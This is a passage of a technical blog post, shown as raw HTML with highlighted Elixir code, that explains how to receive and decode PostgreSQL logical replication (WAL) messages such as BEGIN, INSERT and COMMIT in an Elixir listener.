&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;?w&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;raw_lsn&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_latest_lsn&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_server_time&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Wal.Decoder&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;lsn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Wal.Decoder&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_lsn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;raw_lsn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;message&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;lsn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;lsn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;payload: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;debug&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Will be implemented later&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;XLogData&lt;/code&gt; messages start with a &lt;code&gt;w&lt;/code&gt; as identifier followed by the LSN of the WAL record, the latest WAL record in the replication slot, the server timestamp, and the message payload in bytes. For our use-case, we&apos;re only interested in the payload, but we could use the latest LSN to see how far our listener runs behind and we could use the timestamp to calculate the latency with the server.&lt;/p&gt;
&lt;p&gt;But for now, let&apos;s focus on decoding the message payload. I will show you how to decode a few messages yourself, but for a complete decoder of all possible messages, have a look at Supabase&apos;s &lt;a href=&quot;https://github.com/supabase/realtime/blob/main/lib/realtime/adapters/postgres/decoder.ex&quot;&gt;Realtime&lt;/a&gt; decoder or the &lt;a href=&quot;https://github.com/cainophile/pgoutput_decoder&quot;&gt;PgoutputDecoder&lt;/a&gt; project.&lt;/p&gt;
&lt;p&gt;Now, here&apos;s how to decode the &lt;code&gt;BEGIN&lt;/code&gt;, &lt;code&gt;INSERT&lt;/code&gt;, and &lt;code&gt;COMMIT&lt;/code&gt; messages:&lt;/p&gt;
&lt;pre id=&quot;code-block-17&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Wal.Decoder&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Begin&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;/span&gt;&lt;span style=&quot;color: #79c0ff; text-decoration: underline;&quot;&gt;https://www.postgresql.org/docs/current/protocol-logicalrep-message-formats.html#PROTOCOL-LOGICALREP-MESSAGE-FORMATS-BEGIN&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;?B&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;lsn_end&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_timestamp&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;tx_id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:begin&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;lsn_end: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_lsn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;lsn_end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;tx_id: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;tx_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Insert&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Without transaction_id because we are not streaming transactions&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;/span&gt;&lt;span style=&quot;color: #79c0ff; text-decoration: underline;&quot;&gt;https://www.postgresql.org/docs/current/protocol-logicalrep-message-formats.html#PROTOCOL-LOGICALREP-MESSAGE-FORMATS-INSERT&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;?I&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;relation_id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;?N&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;tuple_data&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;relation_id: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;relation_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;parse_tuple_data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;tuple_data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Commit&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;/span&gt;&lt;span style=&quot;color: #79c0ff; text-decoration: underline;&quot;&gt;https://www.postgresql.org/docs/current/protocol-logicalrep-message-formats.html#PROTOCOL-LOGICALREP-MESSAGE-FORMATS-COMMIT&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;?C&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_flags&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;lsn&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;lsn_end&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_timestamp&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:commit&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;commit_lsn: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_lsn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;lsn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;tx_end_lsn: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_lsn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;lsn_end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Relation&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;/span&gt;&lt;span style=&quot;color: #79c0ff; text-decoration: underline;&quot;&gt;https://www.postgresql.org/docs/current/protocol-logicalrep-message-formats.html#PROTOCOL-LOGICALREP-MESSAGE-FORMATS-RELATION&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;?R&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;relation_id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;rest&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Parses a Relation message&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;parse_tuple_data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Parses a TupleData struct&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_lsn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;lsn_int&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Converts an integer LSN to the hex format &quot;&lt;/span&gt;&lt;span style=&quot;color: #2f81f7;&quot;&gt;XXX&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #2f81f7;&quot;&gt;XXX&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, every message starts with an identifiying character and otherwise follows the &lt;a href=&quot;https://www.postgresql.org/docs/current/protocol-logicalrep-message-formats.html&quot;&gt;specs in the docs&lt;/a&gt;. I only stubbed the &lt;code&gt;parse_tuple_data/1&lt;/code&gt; and &lt;code&gt;to_lsn/1&lt;/code&gt; functions and the &lt;code&gt;Relation&lt;/code&gt; parser, since this post is already long enough. Please see my partial &lt;a href=&quot;https://github.com/PJUllrich/PeterAndCode/blob/main/wal/lib/wal/decoder.ex&quot;&gt;Decoder&lt;/a&gt; on GitHub for more details on the actual implementation.&lt;/p&gt;
&lt;p&gt;Alright, now our listener can receive and decode WAL messages. Let&apos;s take it for a spin and see what events we receive for a typical &lt;code&gt;insert&lt;/code&gt; transaction.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#receiving-messages&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;receiving-messages&quot;&gt;&lt;/a&gt;Receiving Messages&lt;/h2&gt;
&lt;p&gt;First, we need to start the listener in our &lt;code&gt;Application&lt;/code&gt; just after we start the Repo connection:&lt;/p&gt;
&lt;pre id=&quot;code-block-18&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Wal.Application&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
